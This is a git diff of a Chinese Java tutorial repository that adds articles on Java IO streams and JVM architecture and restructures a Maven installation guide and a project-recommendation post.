+通常来说,一个字母或者一个字符占用一个字节,一个汉字占用两个字节。
+
+
+
+具体还要看字符编码,比如说在 UTF-8 编码下,一个英文字母(不分大小写)为一个字节,一个中文汉字为三个字节;在 Unicode 编码中,一个英文字母为一个字节,一个中文汉字为两个字节。
+
+ PS:关于字符编码,可以看前面的章节:[锟斤拷](https://mp.weixin.qq.com/s/pNQjlXOivIgO3pbYc0GnpA)
+
+明白了字节与字符的区别,再来看字节流和字符流就会轻松多了。
+
+字节流用来处理二进制文件,比如说图片啊、MP3 啊、视频啊。
+
+字符流用来处理文本文件,文本文件可以看作是一种特殊的二进制文件,只不过经过了编码,便于人们阅读。
+
+换句话说就是,字节流可以处理一切文件,而字符流只能处理文本。
+
+虽然 IO 类很多,但核心的就是 4 个抽象类:InputStream、OutputStream、Reader、Writer。
+
+(**抽象大法真好**)
+
+虽然 IO 类的方法也很多,但核心的也就 2 个:read 和 write。
+
+**InputStream 类**
+
+- `int read()`:读取数据
+- `int read(byte b[], int off, int len)`:从第 off 位置开始读,读取 len 长度的字节,然后放入数组 b 中
+- `long skip(long n)`:跳过指定个数的字节
+- `int available()`:返回可读的字节数
+- `void close()`:关闭流,释放资源
+
+**OutputStream 类**
+
+- `void write(int b)`: 写入一个字节,虽然参数是一个 int 类型,但只有低 8 位才会写入,高 24 位会舍弃(这块后面再讲)
+- `void write(byte b[], int off, int len)`: 将数组 b 中的从 off 位置开始,长度为 len 的字节写入
+- `void flush()`: 强制刷新,将缓冲区的数据写入
+- `void close()`:关闭流
+
+**Reader 类**
+
+- `int read()`:读取单个字符
+- `int read(char cbuf[], int off, int len)`:从第 off 位置开始读,读取 len 长度的字符,然后放入数组 b 中
+- `long skip(long n)`:跳过指定个数的字符
+- `int ready()`:是否可以读了
+- `void close()`:关闭流,释放资源
+
+**Writer 类**
+
+- `void write(int c)`: 写入一个字符
+- `void write( char cbuf[], int off, int len)`: 将数组 cbuf 中的从 off 位置开始,长度为 len 的字符写入
+- `void flush()`: 强制刷新,将缓冲区的数据写入
+- `void close()`:关闭流
+
+理解了上面这些方法,基本上 IO 的灵魂也就全部掌握了。
+
+### 二、操作对象划分
+
+小二,你细想一下,IO IO,不就是输入输出(Input/Output)嘛:
+
+- Input:将外部的数据读入内存,比如说把文件从硬盘读取到内存,从网络读取数据到内存等等
+- Output:将内存中的数据写入到外部,比如说把数据从内存写入到文件,把数据从内存输出到网络等等。
+
+所有的程序,在执行的时候,都是在内存上进行的,一旦关机,内存中的数据就没了,那如果想要持久化,就需要把内存中的数据输出到外部,比如说文件。
+
+文件操作算是 IO 中最典型的操作了,也是最频繁的操作。那其实你可以换个角度来思考,比如说按照 IO 的操作对象来思考,IO 就可以分类为:文件、数组、管道、基本数据类型、缓冲、打印、对象序列化/反序列化,以及转换等。
+
+
+
+
+**1)文件**
+
+文件流也就是直接操作文件的流,可以细分为字节流(FileInputStream 和 FileOuputStream)和字符流(FileReader 和 FileWriter)。
+
+FileInputStream 的例子:
+
+```java
+int b;
+FileInputStream fis1 = new FileInputStream("fis.txt");
+// 循环读取
+while ((b = fis1.read())!=-1) {
+ System.out.println((char)b);
+}
+// 关闭资源
+fis1.close();
+```
+
+FileOutputStream 的例子:
+
+```java
+FileOutputStream fos = new FileOutputStream("fos.txt");
+fos.write("沉默王二".getBytes());
+fos.close();
+```
+
+FileReader 的例子:
+
+```java
+int b = 0;
+FileReader fileReader = new FileReader("read.txt");
+// 循环读取
+while ((b = fileReader.read())!=-1) {
+ // 自动提升类型提升为 int 类型,所以用 char 强转
+ System.out.println((char)b);
+}
+// 关闭流
+fileReader.close();
+```
+
+FileWriter 的例子:
+
+```java
+FileWriter fileWriter = new FileWriter("fw.txt");
+char[] chars = "沉默王二".toCharArray();
+fileWriter.write(chars, 0, chars.length);
+fileWriter.close();
+```
+
+当掌握了文件的输入输出,其他的自然也就掌握了,都大差不差。
+
+**2)数组**
+
+通常来说,针对文件的读写操作,使用文件流配合缓冲流就够用了,但为了提升效率,频繁地读写文件并不是太好,那么就出现了数组流,有时候也称为内存流。
+
+ByteArrayInputStream 的例子:
+
+```java
+InputStream is =new BufferedInputStream(
+ new ByteArrayInputStream(
+ "沉默王二".getBytes(StandardCharsets.UTF_8)));
+//操作
+byte[] flush =new byte[1024];
+int len =0;
+while(-1!=(len=is.read(flush))){
+ System.out.println(new String(flush,0,len));
+}
+//释放资源
+is.close();
+```
+
+ByteArrayOutputStream 的例子:
+
+```java
+ByteArrayOutputStream bos =new ByteArrayOutputStream();
+byte[] info ="沉默王二".getBytes();
+bos.write(info, 0, info.length);
+//获取数据
+byte[] dest =bos.toByteArray();
+//释放资源
+bos.close();
+```
+
+**3)管道**
+
+Java 中的管道和 Unix/Linux 中的管道不同,在 Unix/Linux 中,不同的进程之间可以通过管道来通信,但 Java 中,通信的双方必须在同一个进程中,也就是在同一个 JVM 中,管道为线程之间的通信提供了通信能力。
+
+一个线程通过 PipedOutputStream 写入的数据可以被另外一个线程通过相关联的 PipedInputStream 读取出来。
+
+```java
+final PipedOutputStream pipedOutputStream = new PipedOutputStream();
+final PipedInputStream pipedInputStream = new PipedInputStream(pipedOutputStream);
+
+Thread thread1 = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ pipedOutputStream.write("沉默王二".getBytes(StandardCharsets.UTF_8));
+ pipedOutputStream.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+});
+
+Thread thread2 = new Thread(new Runnable() {
+ @Override
+ public void run() {
+ try {
+ byte[] flush =new byte[1024];
+ int len =0;
+ while(-1!=(len=pipedInputStream.read(flush))){
+ System.out.println(new String(flush,0,len));
+ }
+
+ pipedInputStream.close();
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ }
+});
+thread1.start();
+thread2.start();
+```
+
+**4)基本数据类型**
+
+基本数据类型输入输出流是一个字节流,该流不仅可以读写字节和字符,还可以读写基本数据类型。
+
+DataInputStream 提供了一系列可以读基本数据类型的方法:
+
+```java
+DataInputStream dis = new DataInputStream(new FileInputStream(“das.txt”)) ;
+byte b = dis.readByte() ;
+short s = dis.readShort() ;
+int i = dis.readInt();
+long l = dis.readLong() ;
+float f = dis.readFloat() ;
+double d = dis.readDouble() ;
+boolean bb = dis.readBoolean() ;
+char ch = dis.readChar() ;
+```
+
+DataOutputStream 提供了一系列可以写基本数据类型的方法:
+
+```java
+DataOutputStream das = new DataOutputStream(new FileOutputStream(“das.txt”));
+das.writeByte(10);
+das.writeShort(100);
+das.writeInt(1000);
+das.writeLong(10000L);
+das.writeFloat(12.34F);
+das.writeDouble(12.56);
+das.writeBoolean(true);
+das.writeChar('A');
+```
+
+**5)缓冲**
+
+CPU 很快,它比内存快 100 倍,比磁盘快百万倍。那也就意味着,程序和内存交互会很快,和硬盘交互相对就很慢,这样就会导致性能问题。
+
+为了减少程序和硬盘的交互,提升程序的效率,就引入了缓冲流,也就是类名前缀带有 Buffer 的那些,比如说 BufferedInputStream、BufferedOutputStream、BufferedReader、BufferedWriter。
+
+
+
+
+缓冲流在内存中设置了一个缓冲区,只有缓冲区存储了足够多的带操作的数据后,才会和内存或者硬盘进行交互。简单来说,就是一次多读/写点,少读/写几次,这样程序的性能就会提高。
+
+**6)打印**
+
+恐怕 Java 程序员一生当中最常用的就是打印流了:`System.out` 其实返回的就是一个 PrintStream 对象,可以用来打印各式各样的对象。
+
+```java
+System.out.println("沉默王二是真的二!");
+```
+
+PrintStream 最终输出的是字节数据,而 PrintWriter 则是扩展了 Writer 接口,所以它的 `print()/println()` 方法最终输出的是字符数据。使用上几乎和 PrintStream 一模一样。
+
+```java
+StringWriter buffer = new StringWriter();
+try (PrintWriter pw = new PrintWriter(buffer)) {
+ pw.println("沉默王二");
+}
+System.out.println(buffer.toString());
+```
+
+**7)对象序列化/反序列化**
+
+序列化本质上是将一个 Java 对象转成字节数组,然后可以将其保存到文件中,或者通过网络传输到远程。
+
+```java
+ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+try (ObjectOutputStream output = new ObjectOutputStream(buffer)) {
+ output.writeUTF("沉默王二");
+}
+System.out.println(Arrays.toString(buffer.toByteArray()));
+```
+
+与其对应的,有序列化,就有反序列化,也就是再将字节数组转成 Java 对象的过程。
+
+```java
+try (ObjectInputStream input = new ObjectInputStream(new FileInputStream(
+ new File("Person.txt")))) {
+ String s = input.readUTF();
+}
+```
+
+
+**8)转换**
+
+InputStreamReader 是从字节流到字符流的桥连接,它使用指定的字符集读取字节并将它们解码为字符。
+
+```java
+InputStreamReader isr = new InputStreamReader(
+ new FileInputStream("demo.txt"));
+char []cha = new char[1024];
+int len = isr.read(cha);
+System.out.println(new String(cha,0,len));
+isr.close();
+```
+
+OutputStreamWriter 将一个字符流的输出对象变为字节流的输出对象,是字符流通向字节流的桥梁。
+
+```java
+File f = new File("test.txt") ;
+Writer out = new OutputStreamWriter(new FileOutputStream(f)) ; // 字节流变为字符流
+out.write("hello world!!") ; // 使用字符流输出
+out.close() ;
+```
+
+“小二啊,你看,经过我的梳理,是不是感觉 IO 也没多少东西!针对不同的场景、不同的业务,选择对应的 IO 流就可以了,用法上就是读和写。”老王一口气讲完这些,长长的舒了一口气。
+
+此时此刻的小二,还沉浸在老王的滔滔不绝中。不仅感觉老王的肺活量是真的大,还感慨老王不愧是工作了十多年的“老油条”,一下子就把自己感觉头大的 IO 给梳理得很清晰了。
+
+---------
+
+
+**这是《Java 程序员进阶之路》专栏的第 68 篇。Java 程序员进阶之路,该专栏风趣幽默、通俗易懂,对 Java 初学者极度友好和舒适😘,内容包括但不限于 Java 语法、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机等核心知识点**。
+
+GitHub 地址:
+
+码云地址:[https://gitee.com/itwanger/toBeBetterJavaer](https://gitee.com/itwanger/toBeBetterJavaer)
+
+CodeChina 直达地址:[https://codechina.csdn.net/qing_gee/toBeBetterJavaer](https://codechina.csdn.net/qing_gee/toBeBetterJavaer)
+
+亮白版和暗黑版的 PDF 也准备好了呢,让我们一起成为更好的 Java 工程师吧,一起冲!
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/docs/jvm/what-is-jvm.md b/docs/jvm/what-is-jvm.md
new file mode 100644
index 0000000000..c746d97fbf
--- /dev/null
+++ b/docs/jvm/what-is-jvm.md
@@ -0,0 +1,165 @@
+
+
+
+
+“二哥,之前的文章里提到 JVM,说实在的, 我还不知道它到底是干嘛的,你能给我普及一下吗?”三妹咪了一口麦香可可奶茶后对我说。
+
+“三妹,不要担心,这篇文章来带你认识一下什么是 JVM,这也是 Java 中非常重要的一块知识,每个程序员都应该了解的。”说完最后这句话,我脸上忍不住泛起了一阵羞涩的红晕。
+
+看过《[Java 发展简史](https://mp.weixin.qq.com/s/Ctouw652iC0qtrmjen9aEw)》的小伙伴应该知道,Sun 在 1991 年成立了一个由詹姆斯·高斯林(James Gosling)领导的,名为“Green”的项目组,目的是开发一种能够在各种消费性电子产品上运行的程序架构。
+
+一开始,项目组打算使用 C++,但 C++ 无法达到跨平台的要求,比如在 Windows 系统下编译的 Hello.exe 无法直接拿到 Linux 环境下执行。
+
+
+
+在当时,C++ 已经非常流行了,但无法跨平台,只能忍痛割爱了。
+
+怎么办呢?
+
+三妹不知道有没有听过直译器(解释器)这玩意?(估计你没听过)就是每跑一行代码就生成机器码,然后执行,比如说 Python 和 Ruby 用的就是直译器。在每个操作系统上装一个直译器就好了,跨平台的目的就达到了。
+
+
+
+但直译器有个缺点,就是没法像编译器那样对一些热点代码进行优化,从而让机器码跑得更快一些。
+
+怎么办呢?
+
+来个结合体呗,编译器和直译器一块上!
+
+
+
+编译器负责把 Java 源代码编译成字节码(不清楚的小伙伴可以点击链接查看[上一节](https://mp.weixin.qq.com/s/GYDFndO0Q1Nqzcc_Te61gw)),Java 虚拟机(Java Virtual Machine,简称 JVM) 负责把字节码转换成机器码。转换的时候,可以做一些压缩或者优化,这样的机器码跑起来就快多了。
+
+不仅跨平台的目的达到了,而且性能得到了优化。
+
+三妹是不是想问,“为什么 Java 虚拟机会叫 Java 虚拟机呢?”
+
+虚拟机,顾名思义,就是虚拟的机器(多苍白的解释),反正就是看不见摸不着的机器,把它想象成一个会执行字节码的怪兽吧。
+
+记得上大学那会,由于没有 Linux 环境,但又需要在上面玩一些命令,于是就在 Windows 上装 Linux 的虚拟机,这个 JVM 就类似这种东西。
+
+ 说白了,就是我们编写 Java 代码,编译 Java 代码,目的不是让它在 Linux、Windows 或者 MacOS 上跑,而是在 JVM 上跑。
+
+说到这,三妹是不是想问,“都有哪些 Java 虚拟机呢?”来看下面这张思维导图:
+
+
+
+除了我们经常看到,经常听到的 Hotspot VM,还有很多,下面我来简单介绍一下。
+
+- Sun Classic:世界上第一款商用 Java 虚拟机,但执行效率低下,导致 Java 程序的性能和 C/C++ 存在很大差距,因此给后来者留下了“Java 语言很慢”的刻板印象。
+
+- Exact VM:为了提升 Classic 的效率,Sun 的虚拟机团队曾在 Solaris(Sun 研发的一款类似 Unix 的操作系统)上发布过这款虚拟机,它的执行系统里包含有热点探测、即时编译等,但不是很成熟。
+
+Sun Classic 在 JDK 1.4 的时候被彻底抛弃,而 Exact VM 被抛弃得更早,取代它的正是 HotSpot VM——时也命也。
+
+- HotSpot VM:OracleJDK(商用)和 OpenJDK(开源)的默认虚拟机,也是目前使用最广泛的 Java 虚拟机。
+
+HotSpot 的技术优势就在于热点代码探测技术(名字就从这来)和准确式内存管理技术,但其实这两个技术在 Exact VM 中都有体现,因此你看起个好的名字多重要(开玩笑了,这就是命)。
+
+热点代码探测,指的是,通过执行计数器找出最具有编译价值的代码,然后通知即时编译器以方法为单位进行编译,解释器就可以不再逐行的将字节码翻译成机器码,而是将一整个方法的所有字节码翻译成机器码再执行。
+
+这样的话,效率就提高了很多,对吧?
+
+- Mobile VM:Java 在移动手机端(被 Android 和 IOS 二分天下)的发展并没有那么成功,因此 Mobile VM 的声望值比较低。
+
+- Embedded VM:嵌入式设备上的虚拟机。
+
+- BEA JRockit:曾经号称是“世界上最快的 Java 虚拟机”,后来被 Oracle 收购后就没有声音了。
+
+- IBM J9 VM:提起 IBM,基本上所有程序员都知道了,也是个巨头,所以他家的虚拟机也很强,在职责分离和模块化上做得比 HotSpot 更好。目前已经开源给 Eclipse 基金会。
+
+- BEA Liquid VM:是 BEA 公司开发的可以直接运行在自家系统上的虚拟机,可以越过操作系统直接和硬件打交道,因此可以更大程度上的发挥硬件的能力。不过核心用的还是 JRockit,所以伴随着 JRockit 的消失,Liquid VM 也退出历史舞台了。
+
+- Azul VM:是 Azul 公司在 HotSpot 基础上进行大量改进后的,可以运行在 Azul 公司专有硬件上的虚拟机。2010 年起,Azul 公司的重心从硬件转移到软件上,并发布了 Zing 虚拟机,性能方面很强大。
+
+- Apache Harmony 和 Google Android Dalvik VM 并不是 严格意义上的 Java 虚拟机,但对 Java 虚拟机的发展起到了很大的刺激作用。但它们终究没有熬过时间。
+
+- Microsoft JVM:在早期的 Java Applets 年代,微软为了在 IE 中支持 Applets 开发了自己的 Java 虚拟机。你敢相信?Microsoft JVM 只有 Windows 版本,它与 JVM 实现的“一次编译,到处运行”的理念完全沾不上边。
+
+关键是,1997 年 10 月,Sun 公司因为这事把微软告了,最后微软赔给了 Sun 公司 2000 万美金,并且终止了在 Java 虚拟机方面的发展。如果,我是说如果,如果微软保持着对 Java 的热情,后面还有 .Net 什么事?
+
+
+
+解释了这么多 Java 虚拟机后,三妹是不是想问,“Java 虚拟机长什么样子呢?”
+
+Java 虚拟机虽然是虚拟的,但它的内部是可以划分为:
+
+- 类加载器(Class Loader)
+- 运行时数据区(Runtime Data Areas)
+- 执行引擎(Excution Engine)
+
+
+
+
+**1)类加载器**
+
+
+类加载器是 Java 虚拟机的一个子系统,用于加载类文件。每当我们运行一个 Java 程序,它都会由类加载器首先加载。
+
+一般来说,Java 程序员并不需要直接同类加载器进行交互。JVM 默认的行为就已经足够满足大多数情况的需求了。不过,如果遇到了需要和类加载器进行交互的情况,而对类加载器的机制又不是很了解的话,就不得不花大量的时间去调试
+ `ClassNotFoundException` 和 `NoClassDefFoundError` 等异常。
+
+对于任意一个类,都需要由它的类加载器和这个类本身一同确定其在 JVM 中的唯一性。也就是说,如果两个类的加载器不同,即使两个类来源于同一个字节码文件,那这两个类就必定不相等(比如两个类的 Class 对象不 `equals`)。
+
+来通过一段简单的代码了解下。
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class Test {
+ public static void main(String[] args) {
+ ClassLoader loader = Test.class.getClassLoader();
+ while (loader != null) {
+ System.out.println(loader);
+ loader = loader.getParent();
+ }
+ }
+}
+```
+
+每个 Java 类都维护着一个指向定义它的类加载器的引用,通过 `类名.class.getClassLoader()` 可以获取到此引用;然后通过 `loader.getParent()` 可以获取类加载器的上层类加载器。
+
+上面这段代码的输出结果如下:
+
+```
+jdk.internal.loader.ClassLoaders$AppClassLoader@512ddf17
+jdk.internal.loader.ClassLoaders$PlatformClassLoader@2d209079
+```
+
+第一行输出为 Test 的类加载器,即应用类加载器,它是 `jdk.internal.loader.ClassLoaders$AppClassLoader` 类的实例;第二行输出为平台类加载器,是 `jdk.internal.loader.ClassLoaders$PlatformClassLoader` 类的实例。那启动类加载器呢?
+
+按理说,扩展类加载器的上层类加载器是启动类加载器,但启动类加载器是虚拟机的内置类加载器,通常表示为 null。
+
+**2)运行时数据区**
+
+来看下面这张图:
+
+
+
+
+
+- PC寄存器(PC Register),也叫程序计数器(Program Counter Register),是一块较小的内存空间,它的作用可以看做是当前线程所执行的字节码的信号指示器。
+
+- JVM 栈(Java Virtual Machine Stack),与 PC 寄存器一样,JVM 栈也是线程私有的。每一个 JVM 线程都有自己的 JVM 栈,这个栈与线程同时创建,它的生命周期与线程相同。
+
+- 本地方法栈(Native Method Stack),JVM 可能会使用到传统的栈来支持 Native 方法(使用 Java 语言以外的其它语言[C语言]编写的方法)的执行,这个栈就是本地方法栈。
+
+- 堆(Heap),在 JVM 中,堆是可供各条线程共享的运行时内存区域,也是供所有类实例和数据对象分配内存的区域。
+
+- 方法区(Method area),在 JVM 中,被加载类型的信息都保存在方法区中。包括类型信息(Type Information)和方法列表(Method Tables)。方法区是所有线程共享的,所以访问方法区信息的方法必须是线程安全的。
+
+- 运行时常量池(Runtime Constant Pool),运行时常量池是每一个类或接口的常量池在运行时的表现形式,它包括了编译器可知的数值字面量,以及运行期解析后才能获得的方法或字段的引用。简而言之,当一个方法或者变量被引用时,JVM 通过运行时常量区来查找方法或者变量在内存里的实际地址。
+
+
+**3)执行引擎**
+
+执行引擎包含了:
+
+- 解释器:读取字节码流,然后执行指令。因为它是一行一行地解释和执行指令,所以它可以很快地解释字节码,但是执行起来会比较慢(毕竟要一行执行完再执行下一行)。
+
+- 即时(Just-In-Time,JIT)编译器:即时编译器用来弥补解释器的缺点,提高性能。执行引擎首先按照解释执行的方式来执行,然后在合适的时候,即时编译器把整段字节码编译成本地代码。然后,执行引擎就没有必要再去解释执行方法了,它可以直接通过本地代码去执行。执行本地代码比一条一条进行解释执行的速度快很多。编译后的代码可以执行的很快,因为本地代码是保存在缓存里的。
+
+“三妹,关于 Java 虚拟机,今天我们就学到这吧,后面再展开讲,怎么样?”转动了一下僵硬的脖子后,我对三妹说,“Java 虚拟机是一块很大很深的内容,如果一上来学太多的话,我怕难倒你。”
+
+“好的,二哥,我也觉得今天的知识量够了,我要好好消化几天。我会加油的!”三妹似乎对未来充满了希望,这正是我想看到的。
\ No newline at end of file
diff --git a/docs/src/kaiyuan/yuneban-wangyiyunyinyue.md b/docs/kaiyuan/yuneban-wangyiyunyinyue.md
similarity index 87%
rename from docs/src/kaiyuan/yuneban-wangyiyunyinyue.md
rename to docs/kaiyuan/yuneban-wangyiyunyinyue.md
index 2fca02fd8f..3d73a5a4ff 100644
--- a/docs/src/kaiyuan/yuneban-wangyiyunyinyue.md
+++ b/docs/kaiyuan/yuneban-wangyiyunyinyue.md
@@ -1,17 +1,8 @@
----
-category:
- - Java企业级开发
-tag:
- - 辅助工具/轮子
----
-
-# 云音乐
-
大家好,我是二哥呀!
前段时间,有个读者私信我说,**刚学完 Spring Boot,想找点练手项目,准备找实习了。**
-
+
二哥这么贴心,对于读者的请求,一向是有求必应,有问必答。那自然得花心思去淘 2 个像样的 Java 练手项目出来了,关键是还要基础,不能太难😆。
@@ -23,7 +14,7 @@ tag:
这是一个带大家从 0 搭建一个 Spring Boot+ Vue 的前后端分离的 Java 项目,前 P71 讲前端,P72 到 P131 讲后端。
-
+
前端涉及到的技术有 Vue 全家桶、ElementUI;后端涉及到的技术有 Spring Boot、SpringMVC、MyBatisPlus、SpringSecurity、Swagger、Redis、EasyPOI、RabbitMQ、FasfDFS 等等。
@@ -31,7 +22,7 @@ tag:
为了验证 up 是不是一家培训机构,顺带替大家踩踩坑。我按照要求加了小助理的微信:
-
+
加好友时一看头像,和平常偷偷摸摸混进群的广告党差不多,哈哈哈。
@@ -47,11 +38,11 @@ tag:
这是读者提供的一个前后端分离项目,问我项目怎么样,我点开去一看,这不一个号主朋友的嘛。
-
+
网站的客户端和管理端使用 VUE 框架来实现的,服务端使用 Spring Boot + MyBatis 来实现,数据库使用了 MySQL。建议至少 1.5 倍速食用。
-
+
前后端整体的项目结构也挺清晰的,这是后端的。
@@ -94,9 +85,9 @@ up 也非常的良心,源码都开源到 GitHub 上了。
随便再展示两张项目的效果图吧。
-
+
-
+
项目的基本功能也很完善:
diff --git a/docs/src/maven/maven.md b/docs/maven/maven.md
similarity index 75%
rename from docs/src/maven/maven.md
rename to docs/maven/maven.md
index 87c017bf25..a87ca24b15 100644
--- a/docs/src/maven/maven.md
+++ b/docs/maven/maven.md
@@ -1,14 +1,3 @@
----
-category:
- - Java企业级开发
-tag:
- - Maven
-shortTitle: Maven
----
-
-# 终于把项目构建神器Maven捋清楚了~
-
-
今天来给大家介绍一款项目构建神器——Maven,不仅能帮我们自动化构建,还能够抽象构建过程,提供构建任务实现;它跨平台,对外提供了一致的操作接口,这一切足以使它成为优秀的、流行的构建工具,从此以后,再也不用担心项目搞崩了。
总结一下 Maven 的优点,主要有以下 3 点:
@@ -21,21 +10,21 @@ shortTitle: Maven
由于 JDK 是 Maven 安装的前置条件,所以请使用 `java -version` 确认是否已经安装了 JDK:
-
+
我本人使用的是 macOS,所以可以有两种安装方式,**一种官网下载,手动安装;一种直接使用 brew 一键安装**。
我们先介绍*官网下载,手动安装*,该方式同样适用于 Windows 系统,差别可参照 Maven 官网安装教程:
->[http://maven.apache.org/install.html](http://maven.apache.org/install.html)
+>http://maven.apache.org/install.html
1)**一种官网下载,手动安装**
第一步,去官网下载 Maven 安装包:
->官网地址:[http://maven.apache.org/download.cgi](http://maven.apache.org/download.cgi)
+>官网地址:http://maven.apache.org/download.cgi
-
+
很多初学者在官网下载的时候不知道选哪一个,这里做一下简单的介绍。
@@ -46,24 +35,24 @@ shortTitle: Maven
第二步,解压下载的安装包,复制该路径:
-
+
- bin 目录:该包含了 Maven 运行的所有脚本,用来配置 Java 命令,准备执行环境,然后执行 Java 命令。
- boot 目录:该目录只包含了一个 plexus-classworlds-xxx-jar 文件,该文件是一个类加载器框架,相当于默认的 Java 类加载器,提供了更加丰富的语法以便配置,Maven 使用该加载器加载自己的类库。
- **conf 目录**:该目录包含了一个非常重要的文件 settings.xml。可以直接修改该文件,用来全局定制 Maven 的行为;也可以复制该文件到 `~/.m2/` 目录下(~表示用户目录),修改该文件可以在用户范围内定制 Maven 的行为。
- lib 目录:该目录包含了Maven运行时所需要的 Java 类库,包括Maven 依赖的第三方类库,比如 slf4j-api.jar。
-
+
第三步,配置环境变量
打开终端,输入 `vim ~/.bash_profile` 命令打开 bash_profile 文件:
-
+
bash_profile 文件用于配置环境变量和启动程序,详细介绍可参照:
->[https://www.cnblogs.com/kevingrace/p/8072860.html](https://www.cnblogs.com/kevingrace/p/8072860.html)
+>https://www.cnblogs.com/kevingrace/p/8072860.html
在文件中添加设置环境变量的命令:
@@ -72,17 +61,17 @@ export M2_HOME=/Users/maweiqing/cmower/save/apache-maven-3.8.3
export PATH=${PATH}:${M2_HOME}/bin
```
-
+
保存后退出,可以执行 `source ~/.bash_profile` 使配置生效:
-
+
第四步,查看配置是否生效
输入 `mvn -v` 命令,如果输出以下内容,表示配置成功:
-
+
如未生效,可再开一个终端窗口尝试 `mvn -v` 命令。
@@ -92,22 +81,6 @@ export PATH=${PATH}:${M2_HOME}/bin
第二步,使用 `mvn -v` 命令查看版本
-**3)jenv 管理 JDK 和 Maven 版本**
-
-我电脑上之前出现了一次奇怪的版本问题,jenv 显示 JDK 版本为 1.8,但 Maven 显示 22.0.1,这两个版本不匹配,导致项目构建失败。
-
-
-
-最后找到的解决方案是,jenv 有一个 Maven 插件,需要开启。
-
-```
-jenv enable-plugin maven
-```
-
-然后再次执行 `jenv global 1.8.0.412` 设置 JDK 版本,并且执行 `exec $SHELL` 刷新环境变量后,执行 `mvn -v` 查看 Maven 版本,发现已经匹配了。
-
-
-
### 二、Maven 配置文件大盘点
Maven 是基于 POM(Project Object Model) 进行的,项目的所有配置都会放在 pom.xml 文件中,包括项目的类型、名字,依赖关系,插件定制等等。
@@ -173,19 +146,19 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐
- provided,表示打包的时候可以不用包进去,别的容器会提供。和 compile 相当,但是在打包阶段做了排除的动作。
- system,从参与程度上来说,和 provided 类似,但不通过 Maven 仓库解析,可能会造成构建的不可移植,要谨慎使用。
-
+
关于**传递性依赖**:
比如一个account-email项目为例,account-email有一个compile范围的spring-code依赖,spring-code有一个compile范围的commons-logging依赖,那么commons-logging就会成为account-email的compile的范围依赖,commons-logging是account-email的一个传递性依赖:
-
+
有了传递性依赖机制,在使用Spring Framework的时候就不用去考虑它依赖了什么,也不用担心引入多余的依赖。Maven会解析各个直接依赖的POM,将那些必要的间接依赖,以传递性依赖的形式引入到当前的项目中。
关于**依赖可选**:
-
+
项目中A依赖B,B依赖于X和Y,如果所有这三个的范围都是compile的话,那么X和Y就是A的compile范围的传递性依赖,但是如果我想X、Y不作为A的传递性依赖,不给它用的话,可以按照下面的方式配置可选依赖:
@@ -254,11 +227,11 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐
那么它对应的仓库路径是这样的:
-
+
仓库可以以下几种:
-
+
**1)本地仓库**
@@ -407,7 +380,7 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐
**3)Intellij IDEA 配置 Maven**
-
+
**4)Maven 常用插件**
@@ -426,100 +399,12 @@ groupId、artifactId和version这三个元素定义了一个项目的基本坐
- maven-help-plugin,一个小巧的辅助工具,最简单的help:system可以打印所有可用的环境变量和 Java 系统属性。help:effective-pom和help:effective-settings最为有用,它们分别打印项目的有效 POM 和有效 settings,有效 POM 是指合并了所有父 POM(包括 Super POM)后的 XML,当你不确定 POM 的某些信息从何而来时,就可以查看有效 POM。
- maven-javadoc-plugin,javadoc 插件,将源码的 javadoc 发布出去。
-
-### 五、守护版 Maven,更快!
-
-在 GitHub 上闲逛的时候,发现了一个新的项目:**maven-mvnd**,持续霸占 GitHub trending 榜单好几天了。
-
-
-
-maven-mvnd,可以读作 Maven Daemon,译作 Maven 守护版,旨在为 Maven 提供更快的构建速度,灵感借鉴了 Gradle 和 Takari(Maven 生命周期优化器)。
-
->[https://github.com/apache/maven-mvnd](https://github.com/apache/maven-mvnd)
-
-
-
-
-Maven 和 Gradle 可以说是项目构建工具中的绝代双骄,我自己的观点是:**Maven 不比 Gradle 好,Gradle 也不比 Maven 好**。
-
-
-
-
-瞧我这该死的观点,足够的圆滑。
-
-Maven 的优点是稳定可靠,在绝大多数的项目上工作良好,社区生态很完善,几乎所有的 Java 开发者都在用。Maven 的缺点是,对于大一点的项目来说,构建太慢了。
-
-Gradle 的优点是足够的灵活,构建速度也会更快一点,因为使用了后台进程和缓存机制。Gradle 的缺点是版本迭代速度太快,社区跟不上,对于初学者来说,学习曲线比较陡峭。
-
-mvnd 并不是 Maven 的重构版,**等于是 Maven ∩ (Gradle & Takari) 部分优点的一个交集**。
-
-mvnd 使用了以下架构方式:
-
-- 内部嵌入了 Maven,所以不需要单独安装 Maven。
-- 使用守护进程进行构建,守护进程可以为多个 mvnd 客户端的连续请求提供服务。
-- 使用了内置的 [GraalVM](https://www.graalvm.org/reference-manual/native-image/) 虚拟机,和传统的 Java 虚拟机相比,它的启动速度更快,使用内存更少,内部的 JIT 编译器在编译时花费的时间也更少。
-- 如果已有的守护进程都在工作中,则可以新建多个守护进程来支撑新的构建请求。
-
-这种架构方式使得 mvnd 的性能优势得到了进一步提升。
-
-好,我们来简单尝试下。
-
-mvnd 像 Maven 一样,可以跨平台,支持 Windows、macOS和 Linux。自动化安装的命令也非常简单,如下所示:
-
-```
-# Windows
-choco install mvndaemon
-# Linux
-sdk install mvnd
-# macOS
-brew install mvndaemon/homebrew-mvnd/mvnd
-```
-
-为了方便演示,我这里采用手动安装的方式,速度也会更快一点。
-
-通过下面的网址下载 mvnd 的 release 版本:
-
->[https://github.com/apache/maven-mvnd/releases](https://github.com/apache/maven-mvnd/releases)
-
-
-
-下载完成后解压,然后把 bin 目录添加到 PATH 路径下。
-
-在终端执行 `mvnd -v` 就可以查看到 mvnd 的配置信息了。
-
-
-
-如果出现类似下面这样的错误,未找到 JAVA_HOME,可以按照提示在对应的文件中追加 java.home 属性,也就是 JDK 的安装路径。
-
-
-
-刚好之前搭建了一个Spring Boot 项目,我们可以拿 Maven 和 mvnd 来对比一下构建速度。
-
-先执行 `mvn clean package` 命令,一共花费的时间是 5.318 秒。
-
-
-
-
-再执行 `mvnd clean package` 命令,一共花费的时间是 3.225 秒。
-
-
-
